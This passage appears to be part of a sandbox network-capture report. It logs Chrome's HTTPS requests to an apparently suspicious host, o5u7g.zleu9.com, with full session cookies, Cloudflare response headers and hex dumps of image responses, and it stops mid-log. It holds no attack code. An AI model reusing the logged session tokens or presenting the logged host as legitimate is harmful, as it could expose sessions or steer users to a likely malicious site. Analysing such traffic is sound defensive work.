2024-04-24 06:22:04 UTC	704	IN	Data Raw: 00 e3 31 43 e6 07 18 cc 0f 49 f4 b4 74 ca e1 ef 65 7e 71 8a 26 e8 36 af 32 42 e0 7d c3 2a 56 ce 70 f2 9b 42 c9 f2 22 0d ef ca 27 c1 9e 4d 18 01 73 f0 73 91 99 b2 fa 1e 56 25 2d d6 3f 38 79 43 14 3f 6d 1a 1f b0 85 85 05 7a 09 15 9d 26 5d 5c 98 56 4e eb 73 1e 85 d0 f2 6a 12 60 c6 ea 19 02 6b 59 ad 82 05 0c fc 36 34 d4 59 10 ec ba 28 5f 65 61 5b e1 72 8c c8 1b 31 42 f8 e7 18 d9 1d bd 17 35 18 02 e9 c5 69 a1 75 a3 1c 16 bd fd 1e e6 61 51 f4 2b 7a b6 78 7f f4 2e fa 82 b3 82 3c 2c 7e 1a e6 61 cc 1d 10 7a 2c bc 49 85 54 87 62 da 50 ea 5e 08 60 ba 07 f2 8d 79 aa 35 38 0b 18 2c 7c 51 fb b7 bc 75 dd ab 2d 84 86 5f 95 97 ff fb 6d 85 31 1c e7 91 f6 7c 6b ac 6a 18 37 05 2c 78 f8 0b c0 96 00 58 f0 f0 17 80 65 7a b0 ef 61 04 8c 8d b4 58 de 00 8a 5c 45 98 24 80 15 2d f7 Data Ascii: 1CIte~q&62B}*VpB"'MssV%-?8yC?mz&]\VNsj`kY64Y(_ea[r1B5iuaQ+zx.<,~az,ITbP^`y58,\|Qu-_m1\|kj7,xXezaX\E$-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	49790	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:03 UTC	1120	OUT	GET /klq2ifsW0HfcmafJUxQT7Luk567iXAtDW7TwsAOhvh4nOXLFVLSfDuv211 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik4vcjg0d2t0WFhrMkI4UGRDVjlNOHc9PSIsInZhbHVlIjoiUy9wVmFJWGJYK1dWWmxybmVCUWRZQzVXV1dOOUxHK2JENHRBckVkOS9QMG5Gb280WVU1MklTRTk0amFYb3VxRFZpZk5kanE3dzhQdFZ3QTArdlpZRDNJUGlDMjhlVXZPRjBGYmc2MkROZjFULzUxOG5jRTFNMDNHVHkrZkpwcW4iLCJtYWMiOiI0MWY1MDBhNzgyMTk0ZGVjMzM1ZDg1NzlmZTRmNmQ1NWNlOWE5Nzg1MWFmYmMxZGEzODczMmVlYzcwNzIyMGQ5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IldWOVJHV05MUVhQY0F5MnZxamR0WGc9PSIsInZhbHVlIjoiUkxkTmNGVVVrU3VwZGlqYWJQS2wvblJsK0hDeXQ1cGRzZStRVm9EVXR1Qzk5VnhVa1ozVDVPRW5IQWZKUEFqU3NpYllkWGpUMnBaRVM0WG5mdi9oTVEvSVJLQzRjVlZZOEV1OWJMUmRDUkE5WHNZRWh1UWFsMjAyRDlSRzJPazEiLCJtYWMiOiI3ODhmNTcyZmIyN2ZhZGNiNDdlN2QwY2Y0MjU3NTZkODhjOGExMDk0NzZiZDk3YmYzMzQ0OWZlN2ZmZDJjMWMwIiwidGFnIjoiIn0%3D
2024-04-24 06:22:04 UTC	659	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:22:03 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="klq2ifsW0HfcmafJUxQT7Luk567iXAtDW7TwsAOhvh4nOXLFVLSfDuv211" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fBBS8qzjDf7Y7wzWUIF2s%2BYLxEl68MiwdzwdLtVWKk3v4psTaHRxsFOgsUFMg3einkvShanNNGJ5w1ZCqA%2BPkaiODJfpDOrE0ovaC1dTMy9SdUCgpB3MLWUKAk98xA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8793ff283e1152f5-LAX
2024-04-24 06:22:04 UTC	710	IN	Data Raw: 37 34 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 Data Ascii: 748<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1
2024-04-24 06:22:04 UTC	1161	IN	Data Raw: 20 32 36 35 2e 38 20 31 32 31 35 2e 36 7a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 44 29 22 2f 3e 3c 2f 67 3e 3c 64 65 66 73 3e 3c 72 61 64 69 61 6c 47 72 61 64 69 65 6e 74 20 69 64 3d 22 41 22 20 63 78 3d 22 30 22 20 63 79 3d 22 30 22 20 72 3d 22 31 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 67 72 61 64 69 65 6e 74 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 34 36 36 2e 34 20 33 39 33 2e 36 29 20 72 6f 74 61 74 65 28 39 30 29 20 73 63 61 6c 65 28 31 34 30 31 2e 36 20 31 37 32 30 2e 38 29 22 3e 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 31 30 37 63 31 30 22 2f 3e 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 31 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 63 34 63 34 63 Data Ascii: 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c
2024-04-24 06:22:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	49791	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:03 UTC	1102	OUT	GET /uheZ2JNUtohhkJJk2aSnqjTR382vFe5akZBa78xe HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik9wK1JyWUV6OUdUYk9KbjRRdHBjMkE9PSIsInZhbHVlIjoiRFozeDRRTW5UMWxNdnBlblBwd1cyUFNmdHZRdWpOZ0JoS2lHdTlMeVd5TVlFTVRDbTI1WDZ2K0dJTWZjSkYydXcweUJNcXRoK0txMTJJVHcxS2grbmZyQUtRNzFlcWJiRTA2L004SzFHNmZ0Z1FjcVZzNkRmRnZubHBaVzc3Q2ciLCJtYWMiOiI5OGMwOTBlNWQ0ZGVkMWQwNzZlNzcxZDg1ZDdkMjBjY2NjZDk5OTgxM2NmZDRlNzhhMGQ4YTY4YThhZGRjZWJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJPTWNiNTduSTNZbko4U0lGbDJ4OFE9PSIsInZhbHVlIjoicHpDMHpaRSsvaHZYWk5FZXp1aWQ0aThlS2ppQUdDNW1wdlhqZi9xVU5VRTJNb2dMUElaM3Iwc1prNFAwbkp3RUozenZKT2E5Rzg5RGJ0L3MrMG43N1daSG9jMVFxemFhYTNPU2QwcG0rczVqbXFqOTdMWXpJa3U0a2xWMW44MXkiLCJtYWMiOiIzMTM5ZDQ0NmFiZjRjMWY1NjMwMjI2M2QxNjhlOGNlODYyYjc5ZWNkZWZhNzFlYmViNGNmY2ZjZTk3YzU4Y2FjIiwidGFnIjoiIn0%3D
2024-04-24 06:22:04 UTC	585	IN	HTTP/1.1 404 Not Found Date: Wed, 24 Apr 2024 06:22:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mLkS08kwFgyfmI7LZC0H%2FqgInQbK7vITA%2Fswk%2BrOIX6Cu0cuxja0H7YdzzA1FC0cSZIfGaRd7P2OcqeDABlH66kYU2RnYax8r5D%2FEUt%2F03Ci%2BJ6P6RPOJg5QnxHQDw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8793ff28cb9e092e-LAX
2024-04-24 06:22:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	49793	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:03 UTC	1476	OUT	GET /wxWSoCFL9zms6gSg3cOqXHoUWbqrInujjGZw2Rn6TuCvw2G12124 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik9wK1JyWUV6OUdUYk9KbjRRdHBjMkE9PSIsInZhbHVlIjoiRFozeDRRTW5UMWxNdnBlblBwd1cyUFNmdHZRdWpOZ0JoS2lHdTlMeVd5TVlFTVRDbTI1WDZ2K0dJTWZjSkYydXcweUJNcXRoK0txMTJJVHcxS2grbmZyQUtRNzFlcWJiRTA2L004SzFHNmZ0Z1FjcVZzNkRmRnZubHBaVzc3Q2ciLCJtYWMiOiI5OGMwOTBlNWQ0ZGVkMWQwNzZlNzcxZDg1ZDdkMjBjY2NjZDk5OTgxM2NmZDRlNzhhMGQ4YTY4YThhZGRjZWJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJPTWNiNTduSTNZbko4U0lGbDJ4OFE9PSIsInZhbHVlIjoicHpDMHpaRSsvaHZYWk5FZXp1aWQ0aThlS2ppQUdDNW1wdlhqZi9xVU5VRTJNb2dMUElaM3Iwc1prNFAwbkp3RUozenZKT2E5Rzg5RGJ0L3MrMG43N1daSG9jMVFxemFhYTNPU2QwcG0rczVqbXFqOTdMWXpJa3U0a2xWMW44MXkiLCJtYWMiOiIzMTM5ZDQ0NmFiZjRjMWY1NjMwMjI2M2QxNjhlOGNlODYyYjc5ZWNkZWZhNzFlYmViNGNmY2ZjZTk3YzU4Y2FjIiwidGFnIjoiIn0%3D
2024-04-24 06:22:04 UTC	646	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:22:04 GMT Content-Type: image/png Content-Length: 231 Connection: close Content-Disposition: inline; filename="wxWSoCFL9zms6gSg3cOqXHoUWbqrInujjGZw2Rn6TuCvw2G12124" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lGn%2BZywL%2BSsVW4z3TR4RSSWYIy5Iwp6so3tMQka4qzPzxqG7zx0ue5gQN7izFyhZqL8lpJWWJtJqM1nON6%2BTspe6cXPEu32H0ZMiW1FDPlJLk2uBgBRZy%2BQluovU7Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8793ff29fb8d2aa7-LAX
2024-04-24 06:22:04 UTC	231	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 18 00 00 00 18 08 06 00 00 00 e0 77 3d f8 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 a1 49 44 41 54 48 4b ed 93 b1 0d 02 31 10 04 e7 5a a0 0c aa b8 12 a8 80 9c 2e 20 23 24 23 a5 94 2d e1 cb 20 24 24 33 b2 f4 48 1f 80 cf bc 71 80 78 a7 3e ed 78 c7 b6 d1 79 59 e7 7c 16 40 68 f8 8f 14 b9 fb 05 18 24 9d 42 2f 93 81 2a 45 63 f8 0a d8 4a ba 7d 15 d0 12 9e 0f 52 6c d0 1a 5e 04 8c e1 1b e0 0c dc 23 2d 92 0e af 66 de 36 70 f7 63 4a 69 67 66 b5 80 fd 47 80 3c 9c 21 c0 7a ce e5 3e 61 e1 2b 6a 85 84 80 d6 26 55 80 09 e4 da e5 a3 45 2f a8 b4 5f dd 60 2e 64 01 84 e6 7e 5f d1 03 bf ca 37 19 0c 18 34 60 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRw=sRGBIDATHK1Z. #$#- $$3Hqx>xyY\|@h$B/*EcJ}Rl^#-f6pcJigfG<!z>a+j&UE/_`.d~_74`IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	49792	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:03 UTC	1466	OUT	GET /opRczFJO6qO9TynYukVt7refB4XpmCzoG38NQ45140 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik9wK1JyWUV6OUdUYk9KbjRRdHBjMkE9PSIsInZhbHVlIjoiRFozeDRRTW5UMWxNdnBlblBwd1cyUFNmdHZRdWpOZ0JoS2lHdTlMeVd5TVlFTVRDbTI1WDZ2K0dJTWZjSkYydXcweUJNcXRoK0txMTJJVHcxS2grbmZyQUtRNzFlcWJiRTA2L004SzFHNmZ0Z1FjcVZzNkRmRnZubHBaVzc3Q2ciLCJtYWMiOiI5OGMwOTBlNWQ0ZGVkMWQwNzZlNzcxZDg1ZDdkMjBjY2NjZDk5OTgxM2NmZDRlNzhhMGQ4YTY4YThhZGRjZWJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJPTWNiNTduSTNZbko4U0lGbDJ4OFE9PSIsInZhbHVlIjoicHpDMHpaRSsvaHZYWk5FZXp1aWQ0aThlS2ppQUdDNW1wdlhqZi9xVU5VRTJNb2dMUElaM3Iwc1prNFAwbkp3RUozenZKT2E5Rzg5RGJ0L3MrMG43N1daSG9jMVFxemFhYTNPU2QwcG0rczVqbXFqOTdMWXpJa3U0a2xWMW44MXkiLCJtYWMiOiIzMTM5ZDQ0NmFiZjRjMWY1NjMwMjI2M2QxNjhlOGNlODYyYjc5ZWNkZWZhNzFlYmViNGNmY2ZjZTk3YzU4Y2FjIiwidGFnIjoiIn0%3D
2024-04-24 06:22:04 UTC	634	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:22:04 GMT Content-Type: image/png Content-Length: 727 Connection: close Content-Disposition: inline; filename="opRczFJO6qO9TynYukVt7refB4XpmCzoG38NQ45140" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BW%2FZxNVY%2FaPsL3VxUXzRWJpNHWLSAyx%2F5wGElmrqqBNmpjUOknFksz2QKoKwv7DGo6rUiJKlgzRVsJApcNVC05pmtsF28X0e1nw27rueDNEMIot5gMs8DgLzL9lHHA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8793ff2a093e2f62-LAX
2024-04-24 06:22:04 UTC	727	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 30 00 00 00 30 08 06 00 00 00 57 02 f9 87 00 00 02 9e 49 44 41 54 68 43 ed 97 81 51 1c 31 0c 45 8f 0e a0 83 a3 03 e8 60 a9 00 a8 20 a4 02 a0 82 90 0a a0 03 ae 83 90 0a b2 54 00 1d e4 3a 80 0e c8 7f 37 72 c6 ec dc ad e5 b5 73 77 3b 59 cf 68 18 f6 64 4b 5f 5f 92 e5 83 d9 c8 d7 c1 c8 fd 9f 4d 00 76 cd e0 c4 c0 c4 40 61 04 fe df 14 6a 9a e6 50 c1 3b 91 9c 4b 1a 09 ff b3 5e 25 ef 92 e7 b6 6d 17 85 01 4e 6e 1f c4 80 9c bf d1 c9 d7 92 79 d2 c2 6c f6 5d 40 ee 1c 7a 83 54 b2 00 58 d4 1f 65 e9 c2 ac b5 44 5a f2 24 59 1a 0b b0 12 98 e1 6f 60 e5 4c 40 60 a6 ea 72 03 30 e7 7f 99 73 38 42 64 1f fa bc 31 a6 ee 4d 87 3d c7 b5 41 e4 00 f8 61 91 27 c7 2f e5 08 11 4f 2e 81 80 05 40 34 12 6d 6b cf 92 9b 32 14 5c 00 a2 Data Ascii: PNGIHDR00WIDAThCQ1E` T:7rsw;YhdK__Mv@ajP;K^%mNnyl]@zTXeDZ$Yo`L@`r0s8Bd1M=Aa'/O.@4mk2\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	49794	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:03 UTC	1475	OUT	GET /eftMAJHTBnysRGQKrxyJ63mOX7yU8KOklytyEGBc4earPa90145 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik9wK1JyWUV6OUdUYk9KbjRRdHBjMkE9PSIsInZhbHVlIjoiRFozeDRRTW5UMWxNdnBlblBwd1cyUFNmdHZRdWpOZ0JoS2lHdTlMeVd5TVlFTVRDbTI1WDZ2K0dJTWZjSkYydXcweUJNcXRoK0txMTJJVHcxS2grbmZyQUtRNzFlcWJiRTA2L004SzFHNmZ0Z1FjcVZzNkRmRnZubHBaVzc3Q2ciLCJtYWMiOiI5OGMwOTBlNWQ0ZGVkMWQwNzZlNzcxZDg1ZDdkMjBjY2NjZDk5OTgxM2NmZDRlNzhhMGQ4YTY4YThhZGRjZWJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJPTWNiNTduSTNZbko4U0lGbDJ4OFE9PSIsInZhbHVlIjoicHpDMHpaRSsvaHZYWk5FZXp1aWQ0aThlS2ppQUdDNW1wdlhqZi9xVU5VRTJNb2dMUElaM3Iwc1prNFAwbkp3RUozenZKT2E5Rzg5RGJ0L3MrMG43N1daSG9jMVFxemFhYTNPU2QwcG0rczVqbXFqOTdMWXpJa3U0a2xWMW44MXkiLCJtYWMiOiIzMTM5ZDQ0NmFiZjRjMWY1NjMwMjI2M2QxNjhlOGNlODYyYjc5ZWNkZWZhNzFlYmViNGNmY2ZjZTk3YzU4Y2FjIiwidGFnIjoiIn0%3D
2024-04-24 06:22:04 UTC	650	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:22:04 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="eftMAJHTBnysRGQKrxyJ63mOX7yU8KOklytyEGBc4earPa90145" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oWaioai6Oy8X4LHWzJZlSeuQJSokeEMc99g4%2Ffbcmykuq6wDxnbysLVg2ohmigmSGtg9CIzFee0TiE2GZcsZgEuJOuMDMswq0172EpAEszscWnKkKJwa8GZmdEZyjg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8793ff2a1c082ea9-LAX
2024-04-24 06:22:04 UTC	277	IN	Data Raw: 31 30 65 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 32 22 20 68 65 69 67 68 74 3d 22 31 32 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 20 31 32 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 31 32 22 20 68 65 69 67 68 74 3d 22 31 32 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 36 2e 37 2c 36 2c 31 32 2c 31 31 2e 33 30 39 2c 31 31 2e 33 30 39 2c 31 32 2c 36 2c 36 2e 37 2e 36 39 31 2c 31 32 2c 30 2c 31 31 2e 33 30 39 2c 35 2e 33 2c 36 2c 30 2c 2e 36 39 31 2e 36 39 31 2c 30 2c 36 2c 35 2e 33 2c 31 31 2e 33 30 39 2c 30 2c 31 32 2c 2e 36 39 31 5a 22 20 66 69 Data Ascii: 10e<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12"><title>assets</title><rect width="12" height="12" fill="none"/><path d="M6.7,6,12,11.309,11.309,12,6,6.7.691,12,0,11.309,5.3,6,0,.691.691,0,6,5.3,11.309,0,12,.691Z" fi
2024-04-24 06:22:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	49796	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:03 UTC	1470	OUT	GET /ijU31uim6UJs1J5Xbuowxt0mAFgOT9UCKlsOPRjhr78169 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik9wK1JyWUV6OUdUYk9KbjRRdHBjMkE9PSIsInZhbHVlIjoiRFozeDRRTW5UMWxNdnBlblBwd1cyUFNmdHZRdWpOZ0JoS2lHdTlMeVd5TVlFTVRDbTI1WDZ2K0dJTWZjSkYydXcweUJNcXRoK0txMTJJVHcxS2grbmZyQUtRNzFlcWJiRTA2L004SzFHNmZ0Z1FjcVZzNkRmRnZubHBaVzc3Q2ciLCJtYWMiOiI5OGMwOTBlNWQ0ZGVkMWQwNzZlNzcxZDg1ZDdkMjBjY2NjZDk5OTgxM2NmZDRlNzhhMGQ4YTY4YThhZGRjZWJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJPTWNiNTduSTNZbko4U0lGbDJ4OFE9PSIsInZhbHVlIjoicHpDMHpaRSsvaHZYWk5FZXp1aWQ0aThlS2ppQUdDNW1wdlhqZi9xVU5VRTJNb2dMUElaM3Iwc1prNFAwbkp3RUozenZKT2E5Rzg5RGJ0L3MrMG43N1daSG9jMVFxemFhYTNPU2QwcG0rczVqbXFqOTdMWXpJa3U0a2xWMW44MXkiLCJtYWMiOiIzMTM5ZDQ0NmFiZjRjMWY1NjMwMjI2M2QxNjhlOGNlODYyYjc5ZWNkZWZhNzFlYmViNGNmY2ZjZTk3YzU4Y2FjIiwidGFnIjoiIn0%3D
2024-04-24 06:22:04 UTC	649	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:22:04 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="ijU31uim6UJs1J5Xbuowxt0mAFgOT9UCKlsOPRjhr78169" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tAYsjbeOi3gVCrRpjNkOl7nRRr1nF%2Bu0IzDxidKfLnFi7sgrT9jGAXa%2FbpnQcAJiowYWP918WTyo73uMgqhc15Ryh%2BkKaHyakQruuccgKfuqTMUIcekgwitFxzXdeg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8793ff2a288e78e6-LAX
